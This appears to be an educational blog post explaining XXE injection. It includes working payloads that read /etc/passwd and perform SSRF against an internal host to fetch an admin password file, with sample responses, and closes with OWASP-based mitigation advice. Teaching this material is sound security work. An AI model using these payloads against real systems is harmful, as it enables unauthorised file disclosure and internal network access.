Estimated difficulty: 💜💜💜💜🤍
Welcome back readers! After a few months hiatus, the Queens are back in action and ready to blog to our heart’s content!
This month’s blog we will be delving into the art of XXE injection, what it is, a few ways to exploit it, and the mitigation techniques used “IRL”.
A huge shoutout to Portswigger and OWASP for being as excellent as always, and helping with this blog.
What is XXE Injection?
XXE Injection stands for XML External Entity Injection and is a web vulnerability that allows attackers to manipulate the way an application processes XML data. It has been recognised as an OWASP Top 10 via point A4 and is also referenced under ID 611 in the Common Weakness Enumeration (CWE) referential.
Many web applications use XML as a format to transmit data between the browser and a server, most applications that do either use a platform API or standard library to process the XML data. XML stands for Extensible Markup Language and is a popular data format used in a variety of web services such as SOAP, REST and other file types such as HTML and DOCX.
Some XML configurations and specifications can contain dangerous features that even standard parsers support, which can be abused by attackers for their own gain. Custom XML external entities are a type of XML of which can be customised so values can be loaded from outside of the document type declaration which defines the version of XML being used:
Example of Document Type Declaration (DTD) with custom entity
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY testentity "this is my entity" > ]>
<greeting> Hello Security Queens reader! </greeting>
As external entities load values from outside of the DTD, this allows the entity space to be defined based on the contents of a file path or a URL – how neat!
Example of XML External Entity
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://test.com" > ]>
If you want to learn more about XML entities in particular, Portswigger have written a fabulous article here.
XXE injection is commonly used by attackers to view local files on the application server, as well as interact with other applications that the server may have access to. Sometimes an attacker may also leverage XXE injection to perform Server-Side Request Forgery (SSRF) attacks to compromise other backend infrastructure and systems.
Types of XXE injection attacks include:
- Retrieving files (the contents of a file is returned in the application response)
- SSRF (the external entity is defined based on a URL to a system)
- Exfiltrating data out-of-band (data is exfiltrated to another server, usually of which the attacker controls)
- Retrieving data via. error messages (triggering a parsing error that contains sensitive information)
How to: Identifying & Exploiting an XXE vulnerability
There are a few ways to identify an XXE vulnerability, in all cases XXE injection is only relevant to applications that parse XML data. The usual culprit would be an application that takes user input in XML, and processes that input on the web server.
In most cases identifying XXE vulnerabilities will be a manual process, but you can also use scanners such as Burp Suite Professional’s scanner (that identifies XXE by modifying client-submitted XML data to an external entity).
Exploiting an XXE vulnerability to retrieve files
To attempt to perform an attack to retrieve files from the server filesystem, you need to modify the XML in two different ways:
- Creating a DOCTYPE element to define an external entity
- Changing a data value in the XML returned in the response, to trigger the use of the external entity you have defined
For example (thank you PortSwigger labs for this one!), let’s say an application checks for stock levels of a producting by using the following XML:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
You can attempt to perform an XXE attack by creating a DOCTYPE
element that specifies a local file (in this case /etc/passwd
) and changing the data value of productId
to call it
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
The above payload defines the external entity as &xxe; – this value has been set as the contents of /etc/passwd
as specified in the DOCTYPE
. As we changed the productId
value to &xxe; , this causes the application to include the contents of the passwd file in the contents. Ta-da!
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 1278
"Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
...
Typically when conducting this attack in the real world you will have to attempt to modify individual data nodes and check the application response to see if it is vulnerable. Although a tedious process, it’s no doubt satisfying when you crack it 🙂
Exploiting an XXE vulnerability for SSRF
To exploit an XXE vulnerability to conduct an SSRF attack, we need to use a similar tactic to the above – but instead use a target URL as the defined entity. This attack can be particularly dangerous, as the application is forced to make HTTP requests to the URL that the server can access.
For example:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-target.com"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
Setting the external entity as the target URL can allow an attacker to view the response of the target from an internal point of view, and allow an attacker to interact with the target (including testing for “juicy” endpoints such as /admin, /secret etc. etc.!)
Example Request:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-target.com/admin/password.txt"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
Example Response:
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 1278
"Invalid product ID: Don't forget your password! It is: pa55w0rd!
...
Real-world Mitigations
Have no fear, there are ways to prevent XXE! Generally the best (and easiest!) way to mitigate XXE attacks is to disable DTDs (also known as external entities). OWASP has created an excellent cheat sheet on how to protect against XXE attacks in different languages commonly used by XML parsers here.
References
And that’s a wrap! A huge thank you to the following resources for buffering this post:-
PortSwigger Web Security Academy: XML External Entity (XXE) Injection
OWASP: XML External Entity (XXE) Processing
Acunetix: What are XML External Entity (XXE) Attacks
-Sophia x